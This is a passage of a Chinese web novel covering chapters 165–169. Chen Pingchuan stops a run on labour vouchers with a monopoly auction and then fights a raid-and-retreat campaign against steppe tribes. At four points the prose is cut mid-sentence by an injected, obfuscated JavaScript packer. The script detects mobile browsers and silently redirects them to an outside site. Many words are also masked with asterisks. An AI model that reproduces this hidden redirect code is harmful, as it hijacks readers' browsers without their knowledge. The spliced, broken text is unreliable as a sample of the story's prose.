那些正准备冲向公济库的百姓,下意识地停住了脚步,疑惑地望向他。 只见陈平川缓缓举起一只手,示意大家安静。 “兑换,肯定是要兑换的。我陈平川说出的话,一口唾沫一个钉,绝不反悔。” “但是,在兑换之前,我还有几件事,要向全城的父老乡亲宣布。” 他的目光,扫过全场,声音陡然提高了几分。 “第一件事!鹰嘴关大捷,我陈家军,杀敌一千余,俘虏近五百,无人死亡,仅有三人受伤!” 这个消息,让刚刚还骚动不安的人群,瞬间安静了不少。 无人死亡,三人受伤? 这和传闻不一样啊? “第二件事!” 陈平川没有给他们太多思考的时间,立刻抛出了第二个重磅消息。 “经本官与赵莽将军商议,决定成立‘顺城商行’!从即日起,军队缴获的战利品,将由官府统一经营,对外出售!” “无论是皮货药材,还是我们缴获的牛羊马匹,甚至是蛮族奴隶,都将通过‘顺城商行’进行交易!所有利润,七成归入公济库,用于城防建设和民生改善!剩下三成,将作为参与此事的商户和将士们的红利!” 这个消息,更是让在场的所有人,特别是那些商人,眼睛都亮了。 官府出面做生意? 这可是前所未闻的新鲜事! 而且,这生意,是垄断性的! 想想看,若是陈家军连打胜仗,缴获的战利品将会源源不断,都由这个“顺城商行”把持,那得是多大的一笔利润? 取之不尽,用之不竭的财源啊! “不过……”陈平川话锋一转:“交易必须使用劳务券!” 刘四海的眼睛猛地一亮。 他是个精明的商人,几乎在瞬间,就明白了陈平川这个举动的深远意义。 这不仅仅是赚钱! 这是在点石成金,提高劳务券的含金量! “高!实在是高啊!” 刘四海在心中,对陈平川的敬佩,已经到了五体投地的地步。 人群中的气氛,已经悄然发生了变化。 恐慌和愤怒,正在被一种叫做“希望”和“期待”的情绪所取代。 然而,陈平川的“**”,还没有扔完。 他顿了顿,说出了今天最关键的一句话。 “第三件事!” “为了庆祝鹰嘴关大捷,也为了让‘顺城商行’能有一个开门红,本官决定,在三日之后,于府衙前,举行一场史无前例的公开拍卖会!” “拍卖会?” 又是一个新鲜词汇。 “没错,拍卖会!” 陈平川朗声解释道。 “我们将拿出一百匹缴获的最好战马,一百张最完整的狼皮,以及……顺城未来一年‘官盐’的独家经营权,进行公开拍卖!” “价高者得!所有参与拍卖者,也必须使用劳务券竞价!” 轰! 官盐经营权! 这五个字,像一道九天惊雷,狠狠地劈在了每一个人的头顶! 在场的所有商人,都疯了! 盐,是什么? 是白花花的银子!是这个时代最暴利的生意之一! 而且是官府授权的独家经营权! 这意味着,谁拿到了这个权力,谁就能在未来一年里,垄断整个顺城地区的食盐生意,那得赚多少钱? 简直无法想象! 陈大人连这么赚钱的生意都拿出来拍卖,府库里,还会缺钱吗? 答案,不言而喻。 一瞬间,所有商人的眼睛都红了,呼吸都变得粗重起来,死死地盯着陈平川,仿佛在看一座移动的金山。 当场就有有钱人高喊:“谁要兑劳务券,找我,我收!” 马上又有人喊起来:“把券给我,一百劳务券,我给一百一十文!” “我给一百二十文!” “妈的你们都疯了?我出一百三十文!” …… 这些精明的商人,早在心里算好账,就算抢不到‘官盐’的独家经营权,手里的劳务券也能升值,绝对不会变成废纸。 那些普通百姓,虽然不懂什么叫独家经营权,但眼前这情况,也让他们看明白,这劳务券如今是何等的炙手可热。 恐慌? 不存在了! 怀疑? 烟消云散了! 所有人心中的那点不安全感,被陈平川这环环相扣的三板斧,砍得一干二净! 取而代之的,是前所未有的信心和狂热! 陈平川看着台下那些变化的表情,知道火候已经到了。 他微微一笑,做出了最后的总结陈词。 “现在,该说的,我都说完了。” “公济库的大门,就在那里,为你们敞开着。” “想兑换劳务券的,现在就可以去排队。我保证,你们能拿到票面上的每一文钱。” 他话锋一转,语气中带着一丝玩味。 “不过,我也得提醒大家一句。” “这劳务券,是有利息的。放得越久,拿得越多。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990533|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三天之后,拍卖会一开,到时候,这劳务券的信誉,只会比现在更高。” “是现在就兑换,拿走你们的本金。还是再等一等,连本带利,赚得更多。” “怎么选,你们自己决定。” 说完,他便不再言语,只是静静地看着众人,做了一个“请”的手势。 府衙前,所有人你看看我,我看看你,脑子里都在飞速地盘算着。 现在兑换? 傻子才干! 明眼人都看得出来,这劳务券,非但不会变废纸,反而要变成抢手的香饽饽了! 说不定,一张面额一百文的劳务券,到时候能当一百二十文,甚至一百五十文花! “不换了!老子不换了!” 人群中,一个粗壮的汉子,第一个反应过来,他把手里的劳务券小心翼翼地揣进怀里,宝贝似的拍了拍。 “陈大人是青天大老爷!跟着陈大人,有肉吃!老子信陈大人的!” “对!不换了!” “谁**再敢说陈大人的坏话,老子第一个撕烂他的嘴!” “我们都信陈大人!” 人群的风向,瞬间一百八十度大转弯。 刚刚还喊打喊杀的百姓,此刻一个个都变成了陈平川最忠实的拥护者。 他们看着陈平川的眼神,充满了敬畏和崇拜。 一场足以颠覆顺城的挤兑风暴,就这么被陈平川轻描淡写地,用几句话,就给化解了。 不,不只是化解。 他甚至,将这场危机,变成了一场巨大的机遇! 一场为“顺城商行”造势,为府库敛财的,绝妙的阳谋! 刘四海和张若素,已经彻底看傻了。 他们看着那个站在台阶上,云淡风轻的年轻人,心中只剩下两个字。 妖孽! 而那躲在茶楼里的梁坤,脸上的笑容,早已凝固。 他手中的茶杯,无声地滑落,摔在地上,四分五裂。 他张着嘴,如同一条缺水的鱼,一个字也说不出来。 他感觉自己,就像一个处心积虑设下陷阱的猎人,结果,猎物不仅没踩中陷阱,反而跳出来,一巴掌把他这个猎人给扇飞了。 败了。 又败了。 而且,败得比上一次,还要彻底,还要体无完肤。 他看着楼下,那些对着陈平川顶礼膜拜的百姓,一股刺骨的寒意,从脚底板,直冲天灵盖。 他知道,自己和陈平川的差距,已经不是计谋上的差距了。 而是一种,维度的碾压。 第166章 史上最强拍卖会,全城疯狂! 顺城商行。 官盐经营权。 拍卖会。 陈平川的计谋一环扣一环,招招致命。 梁坤精心布置的杀局,到头来,却成了陈平川表演的舞台,成了垫高他声望的垫脚石。 “妖孽……真是个妖孽……” 梁坤嘴唇哆嗦着,喃喃自语。 一种面对无法理解、无法战胜的对手时,所产生的最原始的恐惧。 他知道,在顺城这片土地上,他已经彻底输了。 只要陈平川在一天,他就永无翻身之日。 …… 府衙前的风波,来得快,去得也快。 百姓们高高兴兴地散去,手里紧紧攥着那几张劳务券,仿佛攥着的是金元宝。 他们现在不担心这券会变废纸了。 他们只担心,自己手里的券,够不够花。 一时间,整个顺城的劳务券,价格水涨船高。 原本面额一百文的券,私底下已经有人出到了一百五十文,甚至更高,而且还是有价无市。 所有人都疯了。 刘四海和张若素看着这堪称魔幻的一幕,久久无言。 “若素姑娘,我刘四海走南闯北几十年,自问也见过不少大风大浪。” 刘四海擦了擦额头的汗,语气里满是敬畏。 “可像陈大人这般,翻手为云,覆手为雨的手段,我真是闻所未闻,见所未见。” “他……他简直不是人,是神仙下凡吧?” 张若素美眸中异彩连连。 她比刘四海知道的更多。 她知道陈平川的《安民论》,知道他胸中的锦绣乾坤。 可她同样没想到,陈平川能将那些理论,如此巧妙地运用到实践之中。 “空手套白狼”的劳务券,在他的运作下,竟然真的拥有了比真金白银更坚挺的信誉。 这已经不是简单的计谋了。 这是真正的经世济民之术。 “刘掌柜,我们都小看他了。” 张若素轻声感叹。 “他要做的,不只是守住一个顺城那么简单。” “他想做的,是开创一个前所未有的新世界。” 刘四海听得云里雾里,但有一点他很确定。 跟着陈大人,有肉吃! …… 三天时间,一晃而过。 这三天里,整个顺城都沉浸在一种亢奋的情绪中。 城墙的修缮工作,在百姓们空前高涨的热情下,进展飞速。 一面面崭新而坚固的城墙,守护着这座城市。 而府库的资金问题,也随着劳务券的火爆,得到了彻底解决。 拍卖会如期在府衙前举行。 这一天,可以说是顺城有史以来最热闹的一天。 全城的商户,无论大小,几乎都来了。 甚至还有一些从周边城镇闻讯赶来的商人。 他们一个个都揣着厚厚一叠的劳务券,眼睛里闪烁着志在必得的光芒。 陈平川依旧站在府衙的台阶上,身边是刘四海和张若素。 刘四海充当了这次拍卖会的司仪,他清了清嗓子,用尽全身力气喊道。 “诸位,诸位!安静!拍卖会,现在开始!” “第一件拍品!鹰嘴关大捷缴获的上等马匹,十匹一组,共十组!底价,面额一百文的劳务券,一万五千张!” 话音刚落,台下立刻就炸开了锅。 “我出一万八!” “一万八就想拿走?我出两万!” “三万!” 价格一路飙升,气氛瞬间就被点燃。 这些好马,对于边境的商人来说,可是硬通货。 无论是自己组建商队,还是转手卖给内地,都能大赚一笔。 而且,蛮族的马匹品质优良,一直都是抢手货,平时这个价格可买不到。 很快,十组马匹就被抢购一空,为公济库带来了超过七万多劳务券的收入。 接着是铠甲兵器…… 每一件拍品,都引起了激烈的争抢。 张若素在一旁飞快地记着账,小脸因为兴奋而红扑扑的。 她粗略一算,光是这些战利品,就已经让公济库的账面上,多出了一笔天文数字。 这还是用的劳务券。 如果换成真金白银,那简直不敢想象。 终于,在所有人的翘首以盼中,刘四海拿出了今天的压轴大戏。 他深吸一口气,高声宣布。 “接下来,就是我们本次拍卖会的最后一件,也是最重要的一件拍品!” “顺城未来一年,官盐独家经营权!” 轰! 全场寂静了一瞬,随即爆发出山呼海啸般的热浪。 所有商人都站了起来,呼吸急促,死死地盯着刘四海手中的那份文书。 “底价,三十万劳务券!每次加价,不得少于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990534|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一万!” 刘四海的声音,都在微微颤抖。 “三十五万!”一个胖商人第一个喊价。 “四十万!”另一个瘦高个商人立刻跟上。 “五十万!” “我出七十万!” 价格以一种恐怖的速度向上攀升,数字大到让普通百姓都感到一阵阵眩晕。 陈平川平静地看着这一切。 他知道,从今天起,顺城的财政,将再也不是问题。 他有了足够的资本,去实现他更宏大的计划。 …… 黑狼部落的营地,如同人间地狱。 塔尔罕的强制戒毒令,引起了巨大的混乱和反抗。 无数曾经的勇士,因为无法忍受毒瘾的折磨,变得癫狂,自相残杀,甚至向塔尔罕的亲卫挥刀。 对于这些人,塔尔罕没有丝毫手软。 反抗者,杀。 发狂者,杀。 逃跑偷吸者,同样杀。 鲜血染红了草地,也震慑住了所有心怀侥幸的人。 老首领,塔尔罕的父亲,看着儿子如此铁血的手段,心疼得浑身发抖。 “儿啊,他们都是你的族人,是看着你长大的叔伯啊!你就不能……不能给他们留一条活路吗?” 塔尔罕的脸上,没有一丝波澜。 他指着那些因为毒瘾而变得瘫软如泥,不成人形的族人,声音冰冷。 “父亲,你看看他们现在的样子,还算是草原的勇士吗?” “他们连战马都爬不上去,连弓都拉不开!” “留下他们,只会拖垮整个部落,让我们成为别人的笑柄和鱼肉!” “陈平川的‘神仙膏’,比最锋利的刀子还要歹毒!它杀死的,是我们的灵魂!” 老首领无言以对,只能老泪纵横。 在亲手处决了几十名反抗最激烈的族人后,部落里终于安静了下来。 剩下的族人,在死亡的威胁下,只能咬着牙,忍受着那撕心裂肺的痛苦。 塔尔罕将自己的手段,介绍给同样深受毒害的秃鹫部和苍鹰部。 秃鹫部的首领在鹰嘴关吃了大亏,对陈平川恨之入骨,第一个响应了塔尔罕。 苍鹰部的首领则相对懦弱,但看到族人的样子,也不得不低下狠心整治。 一时间,几大部落的情况有所好转,至少,能骑马打仗的战士躲起来了。 …… 第167章 塔尔罕的战术!狼群出笼,焦土千里! 当顺城举办战利品拍卖会的消息,传到部落的时候。 塔尔罕并没有像其他部落首领那样暴跳如雷。 他只是静静地听着探子的回报,手里抚摸自己的战刀。 “陈平川……叠阵……震天雷……” 他反复咀嚼着这几个词。 鹰嘴关一战,一千步卒,正面击溃两千骑兵。 这在大业朝与蛮族的百年战争史上,是从未有过的事情。 这证明,陈平川的军队,已经不是过去那些不堪一击的边军了。 他们拥有了全新的战术和可怕的武器。 硬碰硬,绝非上策。 “大首领,那陈平川如此羞辱我等,我们必须立刻发兵,将顺城夷为平地!” 秃鹫首领是个急性子,大声叫嚣着。 “对!杀光汉人,抢光他们的钱粮和女人!” 其他小部落的头领也跟着附和。 在他们看来,汉人步卒再厉害,还能厉害得过数万骑兵的冲锋? 塔尔罕冷冷地扫了他们一眼。 “不行!” “你们以为,陈平川为什么敢在城外与我们野战?” “他是在向我们**,也是在试探我们的实力。” “他的‘叠阵’,专门克制骑兵的正面冲锋。我们现在冲过去,不过是重复鹰嘴关的失败,难道上次死的人还不够多吗?” 秃鹫首领被噎得满脸通红,无力反驳。 这些天,他已经充分领教了塔尔罕的手段。 雷厉风行,心狠手辣! 他甚至对这个比自己儿子还年轻的首领感到了一丝畏惧。 “那……那我们该怎么办?”一个首领小心翼翼地问。 塔尔罕的目光,重新落回地图上。 “陈平川的步兵阵再厉害,也有一个致命的弱点。” “他们是步兵,两条腿,跑不过我们四条腿的战马。” “他的军队,就像一个坚硬的乌龟壳,你正面打不破,但只要你够耐心,就能活活耗死他。” 塔尔罕的嘴角,浮现出一丝冷笑。 “他不是想要钱吗?他不是会收买人心吗?” “那我们就让他没钱可花,让他的人心,彻底崩溃。” 他伸出手指,在地图上画了几个圈。 “从今天起,我们的骑兵,分成无数个小队,像狼群一样,散布在顺城周边的所有交通要道上。” “烧毁他们的田地,**他们的商队,袭击他们的村庄。” “我要让顺城,变成一座孤岛!” “我要让城里的粮食一天天减少,东西一天天涨价。” “我要让那些汉人百姓,因为饥饿和恐惧,重新站到他的对立面。” “等到城里乱了,人心散了,他的军队饿得连刀都举不起来了。” “我们再集结主力,一战,定乾坤!” 听完塔尔罕的计策,在场的所有部落首领,都倒吸了一口凉气。 太狠了。 他们看着塔尔罕的眼神,已经从畏惧,变成了敬畏。 他们仿佛已经看到,顺城在烈火和饥饿中哀嚎的场景。 “这个办法好啊!” 几个首领纷纷赞叹,心悦诚服。 塔尔罕的脸上,却没有任何得意之色。 他遥望着顺城的方向,眼神深邃。 陈平川,你以为你赢了吗? 真正的战争,现在才刚刚开始。 他挥了挥手。 “传我命令!” “草原的勇士们,亮出你们的獠牙,让那些汉人,感受来自草原的愤怒!” “全军出击!” 一声令下,数万蛮族骑兵,如同黑色的潮水,从大营中奔涌而出。 他们化整为零,像无数把锋利的尖刀,刺向了顺城周边的广袤土地。 一场旨在彻底扼杀顺城的焦土之战,拉开了序幕。 致命的反击,已经到来! …… “大人!不好了!” 一名斥候冲进知州府衙,声音凝重。 “蛮子疯了!” 陈平川、赵莽和张若素正在商议后续的城防事宜,闻言都是一惊。 “慢慢说,怎么回事?”陈平川示意他冷静。 斥候喘着粗气,脸上满是愤怒。 “蛮子的骑兵,分成了无数股,正在四处烧杀抢掠!” “城东的王家村,被一把火烧了!全村上下三百多口,一个都没跑出来!” “城西的李家庄,正在被**,火光冲天!凶多吉少……” “还有通往内地的几条商路,全被他们截断了!好几个商队都被抢了,人也……也都**了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012690|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>斥候每说一句,赵莽的脸色就难看一分。 等他说完,赵莽这位身经百战的老将,拳头已经捏得咯咯作响,眼珠子都红了。 “畜生!这群畜生!” 赵莽一拳砸在桌子上,发出“咚”的一声闷响。 “他们这是要断我们的根啊!” 张若素的脸色也变得煞白。 她虽然不懂军事,但也知道蛮族这样闹下去,顺城肯定危险。 对于蛮族的战术,陈平川很熟,这是“焦土战术”! 顺城虽然暂时不缺钱粮,但城中数十万军民,不可能永远坐吃山空。 如果周边的村庄和商路全被摧毁,顺城迟早会变成一座死城。 “塔尔罕……” 陈平川的眼睛眯了起来。 他没想到,这个对手,竟然如此果决狠辣。 没有直接的攻城,转而采用这种战术,四处骚扰。 这一招,精准地打在了顺城的软肋上。 “大人,我们必须出兵!” 赵莽猛地站起来,向陈平川**。 “再让他们这么烧下去,不等他们攻城,我们自己就先乱了!” “城里的百姓,很多都是从周边村庄过来的,他们的亲人还在乡下!要是知道家被烧了,人**了,我们却不管,肯定会闹起来的!” 陈平川点了点头。 他知道,赵莽说的是事实。 民心,是他好不容易才凝聚起来的。 绝不能因为自己的迟疑,而让它再次崩溃。 可是,出城野战,正中塔尔罕的下怀。 陈家军虽然掌握了岳飞的战术,但面对来去如风的骑兵,还是有点力不从心。 一旦被他们拖入无休止的拉锯战,自己的这点兵力,根本不够消耗。 这是一个两难的抉择。 “大人,不能出城啊!”刘四海却提出不同看法。 “蛮子就是想把我们引出去!他们的骑兵太快了,我们出去就是活靶子!” 刘四海是个商人,想得更实际。 “守着城墙,我们还有一战之力。出去了,就是送死!” 府衙里的气氛,一时间凝重到了极点。 出城,是死。 不出城,是等死。 所有人的目光,都集中在了陈平川的身上。 第168章 我烧你村子,你烧我家? 陈平川沉默了许久。 他在脑海中,飞速地权衡着利弊。 塔尔罕的计策,就是逼着他做出选择。 “赵将军。”陈平川终于开口,声音异常平静。 “点齐兵马,我们出城。” “大人!”刘四海和张若素都惊呼出声。 赵莽的眼中,却闪过一丝决然。 “末将,遵命!” 他知道陈平川做出这个决定,必然有他的道理。 作为军人,他要做的,就是执行命令。 “大人……”张若素担忧地看着陈平川。 陈平川给了她一个安心的眼神。 “放心,我不会拿将士们的性命开玩笑。” “塔尔罕想跟我玩消耗战,可我偏不上当!” 他哼笑一声,道:“他打他的,我打我的!” 赵莽三人一脸茫然,完全听不懂陈平川在说什么。 陈平川没有多解释,只是摆手道:“让我们给蛮族一个惊喜,让他们体会一下什么才叫战争艺术!” …… 陈家军出城的消息,很快传遍了顺城内外。 城头上的百姓,看着那支略显单薄的军队,义无反顾地奔赴城外,许多人默默叹息。 他们以为,陈大人是去解救那些被蛮族屠戮的村庄。 刘四海望着陈平川的背影,忧心忡忡。 他觉得这位年轻的大人,还是太冲动了。 而藏在城中的蛮族奸细,则立刻将这个消息传了出去。 远在数十里外,正指挥着骑兵纵火的塔尔罕,收到消息后,发出一阵得意的大笑。 “我还是高看了这个陈平川,不过是个纸上谈兵的书呆子罢了!”他对着身边的将领嘲笑道,“传令下去,各部收缩,准备好口袋,等他一头钻进来,我们就关门打狗!” 然而,事情的发展,却完全超出了所有人的预料。 陈平川率领大军,在平原上向北疾行了半日,却丝毫没有去追击那些四散的蛮族骑兵的意思。 眼看大军行进的方向离那些被焚毁的村庄越来越远,赵莽终于忍不住了。 “大人,我们这是要去哪儿?” 陈平川勒住马,回头神秘一笑,用马鞭遥遥指向了北方,那是一望无际的草原方向。 “去他们家里做做客。” 赵莽先是一愣,随即脑中如同一道闪电划过! 他瞬间明白了陈平川的意图! 围魏救赵! 趁着塔尔罕主力在外,直捣他们的老巢! “大人……这……这真是神来之笔啊!”赵莽激动得胡子都在颤抖。他戎马一生,从未想过如此大胆而精妙的战术! 陈家军如同一把利刃,直插草原深处。 黑狼部落和其他几个小部落的营地,此刻正是一片祥和。 男人们大多跟着塔尔罕出征,只留下一些老弱妇孺看守。他们做梦也想不到,一直龟缩在城里的大业军队,敢主动杀到他们的地盘上来。 而且,仅仅两千人! 当陈家军的旗帜出现在地平线上时,几个部落都陷入了恐慌。 没有任何像样的抵抗,这场所谓的攻打,更像是一场武装**。 陈家军轻而易举地冲破了营地,将数不清的牛羊、金银财宝,以及上千名俘虏席卷一空。 消息传到塔尔罕耳中时,他脸上的笑容瞬间凝固。 “什么?!”他一把揪住报信兵的衣领,眼睛瞪得像铜铃,“你说陈平川……攻打我们的部落?!” 惊愕过后,是滔天的愤怒! 他感觉自己被狠狠地羞辱了!他精心布置的陷阱,对方连看都没看一眼,反而绕到他身后,放了一场火! “撤!全军回防!必须把他们拦下来,我要把陈平川**万段!”塔尔罕怒吼着,也顾不上什么战术了,带着所有骑兵,疯了一般往回赶。 而这一切,早就在陈平川的算计之中。 他派出的斥候,在发现蛮族大军回援的迹象后,立刻放飞了信鸽。 “蛮子果然回防了。” 陈平川看着信鸽带来的消息,嘴角勾起一抹冷笑。 “传令,全军掉头,我们回家!” 满载着战利品和俘虏的陈家军,立刻开始返程。 塔尔罕也不是吃干饭的,他的斥候也探查到陈平川的军队正在回撤,他立即带人拐弯,终于在距离顺城不到二十里的荒原上,遇到陈家军,一场遭遇战打响了! 尖锐的号角声,此起彼伏。 很快,四面八方都出现了蛮族骑兵的身影。 黑压压的一片,如同乌云压顶,少说也有五六千人。 “结阵!” 赵莽怒吼一声。 两千将士,动作整齐划一,迅速组成了一个巨大的方形“叠阵”。 **如林,向外倾斜,形成一道令人望而生畏的钢铁屏障。 钩镰枪的利刃,从枪林的缝隙中伸出,闪烁着嗜血的寒光。 后排的**手,已经引弓搭箭,严阵以待。 “呜——” 蛮族骑兵发出一阵阵怪叫,却没有立刻冲锋。 他们在阵前数百步外,来回驰骋,不断地用弓箭进行骚扰。 箭如雨下。 “举盾!” 前排的士兵,将厚重的盾牌举过头顶,形成一个密不透风的龟甲阵。 叮叮当当! 无数箭矢被弹开,只有少数倒霉的士兵,被从缝隙中射入的流矢击中,发出一声闷哼。 “稳住!不要乱!” 军官们大声呵斥着,维持着阵型的稳定。 陈平川冷冷地看着这一切。 塔尔罕果然精明,竟然找到了克制叠阵的办法。 他没有选择硬冲,而是用这种无赖的打法,来消耗自己士兵的体力和耐心。 “**手,自由射击!把他们给我赶走!”陈平川下令。 嗖嗖嗖! 密集的**箭,还以颜色。 蛮族骑兵仗着马快,不断地移动,躲避着箭雨。 但陈家军的**手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012691|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是经过严格训练的,射击精准。 不时有蛮族骑兵惨叫着从马上摔下。 僵持了约莫一炷香的时间。 蛮族似乎失去了耐心。 一名将领模样的蛮人,挥舞着弯刀,大声咆哮着。 “冲!撕碎他们!” 轰隆隆! 正面的一支千人骑兵队,终于发动了冲锋。 马蹄声如雷,大地都在颤抖。 陈家军的士兵们,感觉脚下的土地都在震动,心脏也跟着狂跳。 但他们没有后退一步。 他们手中的**,握得更紧了。 “一百五十步!” “放箭!” “一百步!” “放箭!” 两轮箭雨,覆盖了冲锋的骑兵。 冲在最前面的蛮族,如同被割倒的麦子,成片地倒下。 但后续的骑兵,踏着同伴的尸体,依旧疯狂地冲了过来。 五十步! 陈平川命人准备好震天雷。 三十步! 十几颗震天雷在天空中划过一道弧线,落入骑兵群里。 轰! 热浪翻滚,尘土飞扬,几十个骑兵被炸飞,场面稍稍有些混乱,但很快就恢复了秩序,后续的骑兵开始补上。 下一刻,骑兵洪流,狠狠地撞在了钢铁枪林之上。 战马的悲鸣,骨骼碎裂的脆响,士兵的惨叫,瞬间交织在一起。 冲在最前面的骑兵,连人带马,被锋利的**捅了个对穿。 后面的骑兵,则被钩镰枪勾住马腿,人仰马翻,被后续的同伴活活踩死。 鲜血,染红了荒原。 陈家军的阵型,如同一块坚不可摧的礁石,任由惊涛骇浪拍打,岿然不动。 然而,蛮族的攻势,并未停止。 侧翼的两支骑兵,也同时发动了攻击。 陈家军的方阵,顿时四面受敌,压力倍增。 士兵们机械地刺出,收回,再刺出。 身边的战友,不断有人倒下。 但立刻就有后排的士兵,补上空缺。 战斗,进入了僵持阶段,每时每刻都有人丧命! 陈平川的脸色,无比凝重。 他知道,自己的军队,虽然占据了战术优势。 但人数上的巨大劣势,和机动性的缺乏,是无法弥补的。 再这么打下去,就算能赢,也是惨胜。 他的士兵,会死伤惨重。 这不是他想要的结果。 “传我命令!” 陈平川的声音,在嘈杂的战场上,清晰地响起。 “交替掩护,全军后撤!” “轻装行动,退回顺城!” 这个决定,会导致刚到手的战利品被敌人夺回去。 但陈平川必须这样做! 敌人数量太多,为了这点战利品搭上士兵宝贵的生命不值得。 留得青山在,不怕没柴烧! 保存实力才是王道! 这场血战,只是一个开始。 真正的决战,将在顺城的城墙之下! 第169章 金银买不来生路,水门原是鬼门关。 撤退的命令,让许多正在浴血奋战的士兵感到不解。 他们打得正兴起,眼看着就要把眼前的蛮子杀退了。 为什么要撤? “执行命令!” 军官们的怒吼,压下了士兵们的骚动。 军令如山。 后排的**手,开始向天空抛射箭矢,形成一道稀疏但致命的弹幕,阻碍蛮族骑兵的追击。 前排的枪兵,则在同伴的掩护下,开始缓缓后退。 整个过程,有条不紊,阵型丝毫不乱。 这就是队列训练带来的好处。 即便是在撤退中,陈家军依旧保持着强大的组织力和战斗力。 蛮族骑兵试图追击,但在那片移动的枪林面前,数次冲锋都被打了回来,丢下了几十具尸体。 塔尔罕在远处的高坡上,静静地看着这一切。 他的脸上,没有丝毫胜利的喜悦,反而多了一丝凝重。 “好一支强军!” 他由衷地赞叹。 纪律严明,战术得当,悍不畏死。 更可怕的是,他们的统帅,那个叫陈平川的年轻人,竟然能在占据优势的情况下,果断下令撤退。 这份理智和决断,远比单纯的勇猛更令人忌惮。 “传令下去,不要追了。” 塔尔罕制止了还想继续进攻的部下。 “他们想回城,就让他们回。” “把顺城给我团团围住,一只苍蝇也别想飞出去!” 他知道,野战占不到便宜,那么接下来的,就是他最擅长的围城战了。 是的,围城,不是攻城。 他要用饥饿和恐惧,一点点磨掉城里人的意志。 …… 陈平川率领大军,退回了顺城。 这一战,陈家军伤亡近三百人。 虽然歼敌超过千人,还烧了好几个蛮族部落,算得上是一场大胜。 但陈平川的心情,却无比沉重。 三百条鲜活的生命,就这么永远地留在了那片荒原上。 战争的残酷,第一次如此直观地展现在他面前。 城中的气氛,也并没有因为这场胜利而变得轻松。 所有人都知道,更大的危机,还在后面。 蛮族的大军,已经将整个顺城,围得水泄不通。 黑色的营帐,连绵不绝,一直延伸到地平线的尽头。 白天,他们在城外耀武扬威,叫嚣挑战。 晚上,他们点起无数篝火,战鼓声和号角声,一夜不停,搅得城中军民,不得安宁。 巨大的心理压力,笼罩在每一个人的心头。 …… 梁坤快要疯了。 他躲在自己府邸里,来回踱步,像一头被困在陷阱里猎物 脸上的表情,是恐惧和绝望。 “完了……全完了……” 他嘴里不停地念叨着。 顺城,已经是一座孤城,一座死城了! 城外的蛮族大军,黑压压的一眼望不到边。 那震天的战鼓声,仿佛就敲在他的心脏上,让他喘不过气来。 他毫不怀疑,顺城在蛮族的进攻下,根本守不住! 到时候,城破人亡,他梁坤,堂堂太后亲族,就要跟这些老百姓一起,被蛮族的乱刀**! 不! 他绝不能死在这里! 他还有大好的前程,京城里还有无数的荣华富贵在等着他。 他不能给陈平川这个疯子陪葬! “逃!” “必须逃出去!” 这个念头,一旦产生,就再也无法遏制。 他梁坤,是来监视陈平川,是来摘桃子的,不是来送死的! 可是,怎么逃? 现在全城**,四门紧闭。 城墙上,到处都是赵莽手下的兵。 想从城门正大光明地走出去,绝无可能。 梁坤在房间里转着圈,脑子飞速地运转。 他想到了自己用重金收买的一批小官,他们官职虽然不高,但却能帮他逃出顺城。 比如说,看守西城墙一处偏僻水门的那个队正。 那个位置,平日里就人迹罕至,现在全城的防御重心都在东门和南门,西边更是松懈。 如果能从那里出去…… 梁坤的眼睛,一下子亮了。 他立刻找来心腹,如此这般地吩咐了一番。 心腹领命而去。 梁坤则开始手忙脚乱地收拾细软。 在顺城收刮的金银珠宝,还有证明身份的公章文牒等等。 他把这些东西,都用油布包好,紧紧地捆在身上。 做完这一切,他坐在椅子上,浑身被冷汗浸透。 他恨陈平川。 如果不是这个家伙,自己怎么会落到这般田地? 他原本以为,来顺城只是一个轻松的差事。 随便找个由头,就能把陈平川的功劳抢过来,然后风风光光地回京城领赏。 谁能想到,他不仅没能扳倒陈平川,反而被对方一步步逼到了绝境。 现在,害的自己要为他陪葬! “陈平川,要死你自己**吧!” 梁坤咬牙切齿地低吼。 “我要活着离开这里,京城的荣华富贵还在等着我呢!” …… 夜,深了。 顺城笼罩在一片紧张而压抑的气氛中。 